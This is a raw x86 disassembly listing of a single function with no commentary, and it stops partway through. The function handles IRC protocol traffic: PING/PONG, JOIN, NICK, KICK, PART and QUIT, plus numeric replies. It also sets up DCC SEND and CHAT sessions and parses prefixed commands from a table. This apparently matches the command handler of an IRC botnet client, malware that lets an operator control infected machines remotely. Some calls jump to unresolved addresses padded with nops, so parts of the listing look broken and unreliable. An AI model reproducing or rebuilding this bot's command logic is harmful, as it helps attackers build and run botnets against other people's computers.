var_150C = dword ptr -150Ch
var_1508 = dword ptr -1508h
var_1504 = byte ptr -1504h
var_14F4 = byte ptr -14F4h
var_1474 = byte ptr -1474h
var_13F4 = dword ptr -13F4h
var_13EC = dword ptr -13ECh
var_13E8 = dword ptr -13E8h
var_13E4 = dword ptr -13E4h
var_13E0 = dword ptr -13E0h
var_13DC = dword ptr -13DCh
var_13D8 = dword ptr -13D8h
var_13D4 = byte ptr -13D4h
var_1354 = byte ptr -1354h
var_12D4 = byte ptr -12D4h
var_1254 = dword ptr -1254h
var_1250 = dword ptr -1250h
var_124C = dword ptr -124Ch
var_1248 = dword ptr -1248h
var_1244 = dword ptr -1244h
var_1240 = dword ptr -1240h
var_123C = dword ptr -123Ch
var_1238 = dword ptr -1238h
var_1230 = byte ptr -1230h
var_11B0 = byte ptr -11B0h
var_1130 = dword ptr -1130h
var_112C = dword ptr -112Ch
var_1128 = dword ptr -1128h
var_1120 = dword ptr -1120h
var_111C = dword ptr -111Ch
var_1118 = dword ptr -1118h
var_1110 = dword ptr -1110h
var_110C = byte ptr -110Ch
var_108C = byte ptr -108Ch
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1004 = dword ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF8 = dword ptr -0FF8h
var_FF4 = dword ptr -0FF4h
var_FF0 = dword ptr -0FF0h
var_FEC = dword ptr -0FECh
var_FE8 = byte ptr -0FE8h
var_F68 = dword ptr -0F68h
var_F64 = dword ptr -0F64h
var_F60 = dword ptr -0F60h
var_F5C = dword ptr -0F5Ch
var_F58 = dword ptr -0F58h
var_F54 = byte ptr -0F54h
var_ED4 = dword ptr -0ED4h
var_ED0 = dword ptr -0ED0h
var_ECC = dword ptr -0ECCh
var_EC8 = dword ptr -0EC8h
var_EC4 = dword ptr -0EC4h
var_EC0 = byte ptr -0EC0h
var_E40 = dword ptr -0E40h
var_E3C = dword ptr -0E3Ch
var_E38 = dword ptr -0E38h
var_E34 = dword ptr -0E34h
var_E30 = byte ptr -0E30h
var_E10 = byte ptr -0E10h
var_E00 = byte ptr -0E00h
var_D80 = dword ptr -0D80h
var_D7C = byte ptr -0D7Ch
var_CFC = byte ptr -0CFCh
var_C7C = dword ptr -0C7Ch
var_C78 = dword ptr -0C78h
var_C74 = dword ptr -0C74h
var_C70 = dword ptr -0C70h
var_C6C = dword ptr -0C6Ch
var_C68 = dword ptr -0C68h
var_C64 = dword ptr -0C64h
var_C60 = dword ptr -0C60h
var_C5C = dword ptr -0C5Ch
var_C58 = dword ptr -0C58h
var_C54 = byte ptr -0C54h
var_BD4 = dword ptr -0BD4h
var_BD0 = dword ptr -0BD0h
var_BCC = dword ptr -0BCCh
var_BC8 = dword ptr -0BC8h
var_BC4 = byte ptr -0BC4h
var_B44 = dword ptr -0B44h
var_B40 = dword ptr -0B40h
var_B3C = dword ptr -0B3Ch
var_B38 = dword ptr -0B38h
var_B34 = dword ptr -0B34h
var_B30 = dword ptr -0B30h
var_B2C = byte ptr -0B2Ch
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = dword ptr -0A9Ch
var_A98 = dword ptr -0A98h
var_A94 = byte ptr -0A94h
var_A14 = dword ptr -0A14h
var_A10 = dword ptr -0A10h
var_A0C = dword ptr -0A0Ch
var_A08 = dword ptr -0A08h
var_A04 = dword ptr -0A04h
var_A00 = dword ptr -0A00h
var_9FC = byte ptr -9FCh
var_97C = word ptr -97Ch
var_978 = dword ptr -978h
var_970 = dword ptr -970h
var_96C = dword ptr -96Ch
var_968 = dword ptr -968h
var_960 = byte ptr -960h
var_8FF = byte ptr -8FFh
var_8FE = byte ptr -8FEh
var_8FC = byte ptr -8FCh
var_8FB = byte ptr -8FBh
var_8F2 = byte ptr -8F2h
var_8F0 = byte ptr -8F0h
var_8EE = byte ptr -8EEh
var_8ED = byte ptr -8EDh
var_860 = byte ptr -860h
var_850 = byte ptr -850h
var_7D0 = byte ptr -7D0h
var_750 = dword ptr -750h
var_74C = dword ptr -74Ch
var_748 = dword ptr -748h
var_744 = dword ptr -744h
var_740 = dword ptr -740h
var_734 = dword ptr -734h
var_730 = dword ptr -730h
var_728 = dword ptr -728h
var_724 = dword ptr -724h
var_720 = dword ptr -720h
var_71C = dword ptr -71Ch
var_714 = dword ptr -714h
var_710 = byte ptr -710h
var_690 = dword ptr -690h
var_688 = dword ptr -688h
var_684 = dword ptr -684h
var_680 = dword ptr -680h
var_678 = dword ptr -678h
var_674 = dword ptr -674h
var_670 = dword ptr -670h
var_668 = dword ptr -668h
var_63C = dword ptr -63Ch
var_638 = word ptr -638h
var_624 = dword ptr -624h
var_620 = byte ptr -620h
var_5A0 = byte ptr -5A0h
var_590 = dword ptr -590h
var_58C = dword ptr -58Ch
var_584 = dword ptr -584h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_574 = dword ptr -574h
var_570 = byte ptr -570h
var_4F0 = dword ptr -4F0h
var_4EC = dword ptr -4ECh
var_4E8 = dword ptr -4E8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
var_4C8 = byte ptr -4C8h
var_4BC = byte ptr -4BCh
var_484 = byte ptr -484h
var_474 = byte ptr -474h
var_3F4 = byte ptr -3F4h
var_374 = dword ptr -374h
var_370 = dword ptr -370h
var_36C = dword ptr -36Ch
var_368 = dword ptr -368h
var_364 = dword ptr -364h
var_358 = dword ptr -358h
var_354 = dword ptr -354h
var_34C = dword ptr -34Ch
var_348 = dword ptr -348h
var_344 = dword ptr -344h
var_340 = dword ptr -340h
var_338 = byte ptr -338h
var_31C = word ptr -31Ch
var_31A = word ptr -31Ah
var_318 = dword ptr -318h
var_30C = byte ptr -30Ch
var_308 = dword ptr -308h
var_2FC = byte ptr -2FCh
var_2F8 = byte ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2E8 = byte ptr -2E8h
var_2E4 = byte ptr -2E4h
var_2E3 = byte ptr -2E3h
var_2E2 = byte ptr -2E2h
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C8 = dword ptr -2C8h
var_2C4 = byte ptr -2C4h
var_C4 = byte ptr -0C4h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_93 = byte ptr -93h
var_92 = byte ptr -92h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_50 = byte ptr -50h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 5D88h
call sub_41BB20
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2C4]
push ebx
push eax
mov [ebp+var_AC], 3
mov [ebp+var_10], ebx
mov [ebp+var_A4], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_2C8], ebx
call sub_41B590
push 1Bh
lea eax, [ebp+var_338]
push [ebp+arg_10]
push eax
call sub_41B5F0
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_401E94
push esi
lea eax, [ebp+var_4488]
push ebx
push eax
call sub_41B590
dec esi
lea eax, [ebp+var_4488]
push esi
push [ebp+arg_0]
push eax
call sub_41B5F0
lea eax, [ebp+var_4488]
push offset asc_42D0F4 ; " :"
push eax
call sub_41B900
mov [ebp+var_C], eax
lea eax, [ebp+var_4488]
push esi
push eax
lea eax, [ebp+var_4AF0]
push eax
call sub_41B5F0
mov esi, offset asc_42D0F0 ; " "
lea eax, [ebp+var_4AF0]
push esi
push eax
call sub_41C0F4
add esp, 34h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+var_A8], 1Fh
loc_401BA0: ; CODE XREF: sub_401ACD+E7j
push esi
push ebx
call sub_41C0F4
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+var_A8]
pop ecx
jnz short loc_401BA0
mov esi, [ebp+var_90]
cmp esi, ebx
jz loc_401E94
cmp [ebp+var_8C], ebx
jz loc_401E94
push 100h
lea eax, [ebp+var_960]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea ecx, [ebp+var_14]
push 1Fh
pop edx
push 1
pop edi
loc_401BEE: ; CODE XREF: sub_401ACD+153j
mov eax, [ecx]
cmp eax, ebx
jz short loc_401C1A
cmp byte ptr [eax], 2Dh
jnz short loc_401C22
cmp [eax+2], bl
jnz short loc_401C22
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_960], 1
mov esi, [ebp+var_90]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_401C1A: ; CODE XREF: sub_401ACD+125j
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_401BEE
loc_401C22: ; CODE XREF: sub_401ACD+12Aj
; sub_401ACD+12Fj
cmp [ebp+var_8ED], bl
jz short loc_401C2D
mov [ebp+var_8], edi
loc_401C2D: ; CODE XREF: sub_401ACD+15Bj
cmp [ebp+var_8F2], bl
jz short loc_401C3B
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_401C3B: ; CODE XREF: sub_401ACD+166j
cmp byte ptr [esi], 0Ah
jz short loc_401C75
push 7Fh
lea eax, [ebp+var_E00]
push esi
push eax
call sub_41B5F0
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_C4]
push eax
call sub_41B5F0
lea eax, [ebp+var_C4]
push offset asc_42D0EC ; "!"
push eax
call sub_41C0F4
add esp, 20h
loc_401C75: ; CODE XREF: sub_401ACD+171j
push esi
push offset aPing ; "PING"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401CC6
push [ebp+var_8C]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_409A2C
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_401D6A
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 10h
jmp loc_401D6A
; ---------------------------------------------------------------------------
loc_401CC6: ; CODE XREF: sub_401ACD+1B7j
mov esi, [ebp+var_8C]
push esi
push offset a001 ; "001"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4099E0
push esi
push offset a005 ; "005"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4099E0
push esi
push offset a302 ; "302"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401D2E
push offset a@ ; "@"
push [ebp+var_84]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_401D6A
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_41B5F0
jmp short loc_401D67
; ---------------------------------------------------------------------------
loc_401D2E: ; CODE XREF: sub_401ACD+238j
push esi
push offset a433 ; "433"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401D71
push ebx
push dword_4290A0
push dword_42909C
push [ebp+arg_10]
call sub_40B08D
add esp, 10h
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409A2C
loc_401D67: ; CODE XREF: sub_401ACD+25Fj
add esp, 0Ch
loc_401D6A: ; CODE XREF: sub_401ACD+1D8j
; sub_401ACD+1F4j ...
mov eax, edi
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_401D71: ; CODE XREF: sub_401ACD+270j
mov esi, [ebp+arg_18]
mov [ebp+var_A8], 3
mov edi, 80h
loc_401D83: ; CODE XREF: sub_401ACD+2DBj
lea eax, [ebp+var_E00]
push eax
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401DA0
mov [ebp+var_A4], 1
loc_401DA0: ; CODE XREF: sub_401ACD+2C7j
add esi, edi
dec [ebp+var_A8]
jnz short loc_401D83
mov esi, [ebp+var_8C]
push esi
push offset aKick ; "KICK"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_401E9C
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 3
loc_401DCF: ; CODE XREF: sub_401ACD+392j
cmp [esi], bl
jz loc_401E5A
push 7Fh
lea eax, [ebp+var_E00]
push esi
push eax
call sub_41B5F0
lea eax, [ebp+var_C4]
add esp, 0Ch
test eax, eax
jz short loc_401E5A
cmp [ebp+var_84], ebx
jz short loc_401E5A
push [ebp+var_84]
lea eax, [ebp+var_C4]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401E5A
lea eax, [ebp+var_C4]
mov [esi], bl
push eax
lea eax, [ebp+var_2C4]
push offset unk_42D080
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_409A2C
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
add esp, 14h
loc_401E5A: ; CODE XREF: sub_401ACD+304j
; sub_401ACD+324j ...
add esi, edi
dec [ebp+arg_24]
jnz loc_401DCF
push [ebp+var_84]
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401E94
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_401E89: ; CODE XREF: sub_401ACD+612j
; sub_401ACD+8D5j ...
push [ebp+arg_4]
call sub_409A2C
loc_401E91: ; CODE XREF: sub_401ACD+253Bj
; sub_401ACD+2558j ...
add esp, 10h
loc_401E94: ; CODE XREF: sub_401ACD+5Bj
; sub_401ACD+F1j ...
push 1
loc_401E96: ; CODE XREF: sub_401ACD+2A61j
pop eax
loc_401E97: ; CODE XREF: sub_401ACD+29Fj
; sub_401ACD+2A83j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401E9C: ; CODE XREF: sub_401ACD+2F2j
push esi
push offset aNick ; "NICK"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_401FF2
mov eax, [ebp+var_88]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 3
mov [ebp+arg_24], eax
loc_401EC5: ; CODE XREF: sub_401ACD+44Aj
lea eax, [ebp+var_E00]
push eax
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401F12
lea eax, [ebp+var_E00]
push 21h
push eax
call sub_41BFB0
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_401F12
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_41BEB0
push [ebp+arg_1C]
push edi
call sub_41BEC0
add esp, 10h
mov edi, 80h
loc_401F12: ; CODE XREF: sub_401ACD+409j
; sub_401ACD+420j
add esi, edi
dec [ebp+arg_0]
jnz short loc_401EC5
lea eax, [ebp+var_C4]
test eax, eax
jz loc_401E94
cmp [ebp+arg_24], ebx
jz loc_401E94
push [ebp+arg_10]
lea eax, [ebp+var_C4]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401F5A
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_41B5F0
loc_401F52: ; CODE XREF: sub_401ACD+1C35j
add esp, 0Ch
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_401F5A: ; CODE XREF: sub_401ACD+476j
mov edi, [ebp+arg_18]
xor esi, esi
loc_401F5F: ; CODE XREF: sub_401ACD+4B3j
cmp [edi], bl
jz short loc_401F76
lea eax, [ebp+var_E00]
push eax
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_401F87
loc_401F76: ; CODE XREF: sub_401ACD+494j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_401F5F
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_401F87: ; CODE XREF: sub_401ACD+4A7j
lea eax, [ebp+var_E00]
push 21h
push eax
call sub_41BFB0
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz loc_401E94
push eax
call sub_41AFE0
push [ebp+arg_24]
mov edi, eax
call sub_41AFE0
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja loc_401E94
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS ; ":%s%s"
push esi
call sub_41B886
push ebx
lea eax, [ebp+var_45EC]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_409A72
add esp, 24h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_401FF2: ; CODE XREF: sub_401ACD+3DEj
push esi
push offset aPart ; "PART"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_402014
push esi
push offset aQuit ; "QUIT"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40203B
loc_402014: ; CODE XREF: sub_401ACD+534j
mov edi, [ebp+arg_18]
xor esi, esi
loc_402019: ; CODE XREF: sub_401ACD+56Cj
cmp [edi], bl
jz short loc_40202F
push [ebp+var_90]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_402083
loc_40202F: ; CODE XREF: sub_401ACD+54Ej
inc esi
add edi, 80h
cmp esi, 3
jl short loc_402019
loc_40203B: ; CODE XREF: sub_401ACD+545j
push [ebp+var_8C]
push offset a353 ; "353"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4020E4
push [ebp+var_80]
push [ebp+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40206F
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_40206F: ; CODE XREF: sub_401ACD+597j
push [ebp+var_80]
push offset unk_42D02C
loc_402077: ; CODE XREF: sub_401ACD+28CCj
; sub_401ACD+2C4Cj ...
call sub_415220
loc_40207C: ; CODE XREF: sub_401ACD+1BE1j
pop ecx
loc_40207D: ; CODE XREF: sub_401ACD+7B6Fj
pop ecx
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_402083: ; CODE XREF: sub_401ACD+560j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42D008
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
push [ebp+var_8C]
push offset aPart ; "PART"
call sub_41C070
add esp, 18h
test eax, eax
jnz loc_401E94
lea eax, [ebp+var_2C4]
push eax
mov eax, [ebp+var_90]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_401E89
; ---------------------------------------------------------------------------
loc_4020E4: ; CODE XREF: sub_401ACD+582j
push [ebp+var_8C]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_41C070
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_402138
push [ebp+var_8C]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_402138
push [ebp+var_8C]
push offset dword_42CFF4
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_409854
cmp dword_429088, ebx
jz loc_409854
loc_402138: ; CODE XREF: sub_401ACD+631j
; sub_401ACD+643j
push [ebp+var_8C]
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4022BE
push [ebp+var_8C]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4022BE
mov eax, [ebp+var_84]
inc [ebp+var_80]
push 4
mov [ebp+var_88], eax
pop esi
mov [ebp+var_AC], esi
loc_40217C: ; CODE XREF: sub_401ACD+8ADj
; sub_401ACD+8E9j ...
shl esi, 2
mov eax, [ebp+esi+var_90]
lea edi, [ebp+esi+var_90]
push eax
push offset dword_42CFEC
mov [ebp+arg_8], eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_402557
push [ebp+esi+var_8C]
push offset aSend_0 ; "SEND"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40241E
cmp [ebp+var_A4], ebx
jz loc_4023F7
push [ebp+esi+var_88]
mov edi, offset aS_1 ; "%s"
lea eax, [ebp+var_1B80]
push edi
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_1B94]
push [ebp+esi+var_84]
push edi
push eax
call sub_41B886
push [ebp+esi+var_80]
call sub_41B779
mov [ebp+var_19FC], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1B9C], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_1A7C]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_19F4], eax
mov eax, [ebp+var_8]
mov [ebp+var_19F0], eax
lea eax, [ebp+var_1A7C]
push eax
lea eax, [ebp+var_1B80]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CFB0
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Ah
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_19F8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1B9C]
push ebx
push eax
push offset loc_4161BC
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_19F8]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz loc_4023E6
loc_4022A8: ; CODE XREF: sub_401ACD+7EFj
cmp [ebp+var_19EC], ebx
jnz loc_4083BC
push 32h
call near ptr 2820566h
nop
jmp short loc_4022A8
; ---------------------------------------------------------------------------
loc_4022BE: ; CODE XREF: sub_401ACD+67Bj
; sub_401ACD+691j
push [ebp+var_8C]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4022D7
mov [ebp+var_4], 1
loc_4022D7: ; CODE XREF: sub_401ACD+801j
cmp [ebp+var_88], ebx
jz loc_401E94
push offset dword_42CFAC
push [ebp+var_88]
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_4022FE
cmp [ebp+var_4], ebx
jz short loc_40230A
loc_4022FE: ; CODE XREF: sub_401ACD+82Aj
lea eax, [ebp+var_C4]
mov [ebp+var_88], eax
loc_40230A: ; CODE XREF: sub_401ACD+82Fj
cmp [ebp+var_84], ebx
jz loc_401E94
inc [ebp+var_84]
jz short loc_402356
cmp [ebp+arg_10], ebx
jz short loc_402356
lea eax, [ebp+var_338]
push eax
call sub_41AFE0
push eax
lea eax, [ebp+var_338]
push [ebp+var_84]
push eax
call sub_41BE70
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
add esi, 4
mov [ebp+var_AC], esi
jmp short loc_40235C
; ---------------------------------------------------------------------------
loc_402356: ; CODE XREF: sub_401ACD+84Fj
; sub_401ACD+854j
mov esi, [ebp+var_AC]
loc_40235C: ; CODE XREF: sub_401ACD+887j
mov edi, [ebp+esi*4+var_90]
cmp edi, ebx
jz loc_401E94
push edi
push offset dword_42CFA0
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40217C
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz short loc_4023A7
mov eax, dword_4CB4D8
mov eax, off_429160[eax*4]
cmp [eax], bl
jz short loc_4023A7
push eax
push ecx
push offset dword_42CF84
jmp loc_401E89
; ---------------------------------------------------------------------------
loc_4023A7: ; CODE XREF: sub_401ACD+8BCj
; sub_401ACD+8CCj
push edi
push offset dword_42CF7C
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40217C
mov eax, [ebp+esi*4+var_8C]
cmp eax, ebx
jz loc_40217C
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz loc_40217C
push eax
push ecx
push offset dword_42CF64
jmp loc_401E89
; ---------------------------------------------------------------------------
loc_4023E6: ; CODE XREF: sub_401ACD+7D5j
; sub_401ACD+7852j
nop
call near ptr 2830047h
push eax
push offset unk_42CF28
jmp loc_4083AD
; ---------------------------------------------------------------------------
loc_4023F7: ; CODE XREF: sub_401ACD+6F9j
lea eax, [ebp+var_C4]
push eax
push [ebp+esi+var_88]
push offset unk_42CEE4
loc_40240A: ; CODE XREF: sub_401ACD+7E29j
; sub_401ACD+7E90j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 10h
jmp loc_4083BC
; ---------------------------------------------------------------------------
loc_40241E: ; CODE XREF: sub_401ACD+6EDj
push [ebp+esi+var_8C]
push offset aChat ; "CHAT"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40256D
cmp [ebp+var_A4], ebx
jz loc_402546
push 1Bh
call sub_40B33E
test eax, eax
pop ecx
jnz loc_402535
push [ebp+esi+var_84]
lea eax, [ebp+var_2AA8]
push offset aS_1 ; "%s"
push eax
call sub_41B886
push [ebp+esi+var_80]
call sub_41B779
mov [ebp+var_2910], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2AB0], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_2990]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_2908], eax
mov eax, [ebp+var_8]
mov [ebp+var_2904], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CEBC
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Bh
push eax
call sub_40B0F6
add esp, 18h
mov [ebp+var_290C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2AB0]
push ebx
push eax
push offset byte_415C59
push ebx
push ebx
call near ptr 282060Ah
nop
mov ecx, [ebp+var_290C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_402524
loc_40250E: ; CODE XREF: sub_401ACD+A55j
cmp [ebp+var_2900], ebx
jnz loc_4083BC
push 32h
nop
call near ptr 2820566h
jmp short loc_40250E
; ---------------------------------------------------------------------------
loc_402524: ; CODE XREF: sub_401ACD+A3Fj
nop
call near ptr 2830047h
push eax
push offset unk_42CE84
jmp loc_4083AD
; ---------------------------------------------------------------------------
loc_402535: ; CODE XREF: sub_401ACD+982j
lea eax, [ebp+var_C4]
push eax
push offset unk_42CE54
jmp loc_4083AD
; ---------------------------------------------------------------------------
loc_402546: ; CODE XREF: sub_401ACD+972j
lea eax, [ebp+var_C4]
push eax
push offset unk_42CE20
jmp loc_4083AD
; ---------------------------------------------------------------------------
loc_402557: ; CODE XREF: sub_401ACD+6D2j
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_429094
mov [edi], ecx
jnz loc_401E94
loc_40256D: ; CODE XREF: sub_401ACD+966j
mov edi, [edi]
mov [ebp+arg_8], edi
push edi
mov edi, offset aK ; "k"
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40985C
push [ebp+arg_8]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40985C
cmp [ebp+var_A4], ebx
jnz short loc_4025BD
push [ebp+var_8C]
push offset dword_42CFF4
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_409854
loc_4025BD: ; CODE XREF: sub_401ACD+AD4j
cmp [ebp+arg_28], ebx
jnz loc_409854
xor edi, edi
cmp dword_429498, ebx
jle loc_402772
mov [ebp+arg_20], offset dword_43D7E0
loc_4025DB: ; CODE XREF: sub_401ACD+B2Dj
push [ebp+arg_8]
push [ebp+arg_20]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_402601
add [ebp+arg_20], 0B8h
inc edi
cmp edi, dword_429498
jl short loc_4025DB
jmp loc_402772
; ---------------------------------------------------------------------------
loc_402601: ; CODE XREF: sub_401ACD+B1Dj
push offset asc_42D0F4 ; " :"
push [ebp+arg_0]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz loc_401E94
mov cl, byte_429094
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_429094
mov [eax+3], cl
lea ecx, dword_43D7F8[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_41B5F0
lea eax, [ebp+esi+var_50]
add esp, 0Ch
mov [ebp+arg_20], 0Fh
mov [ebp+arg_C], eax
loc_402656: ; CODE XREF: sub_401ACD+C3Aj
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD_1 ; "$%d-"
push eax
call sub_41B886
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41B900
add esp, 14h
test eax, eax
jz short loc_4026C2
mov eax, [ebp+arg_C]
cmp [eax], ebx
jz short loc_4026C2
lea eax, dword_43D7E0[edi]
push eax
call sub_41AFE0
add [ebp+var_C], eax
pop ecx
jz short loc_4026FD
mov eax, [ebp+arg_C]
push dword ptr [eax-4]
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4026FD
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417EEE
add esp, 0Ch
jmp short loc_4026FD
; ---------------------------------------------------------------------------
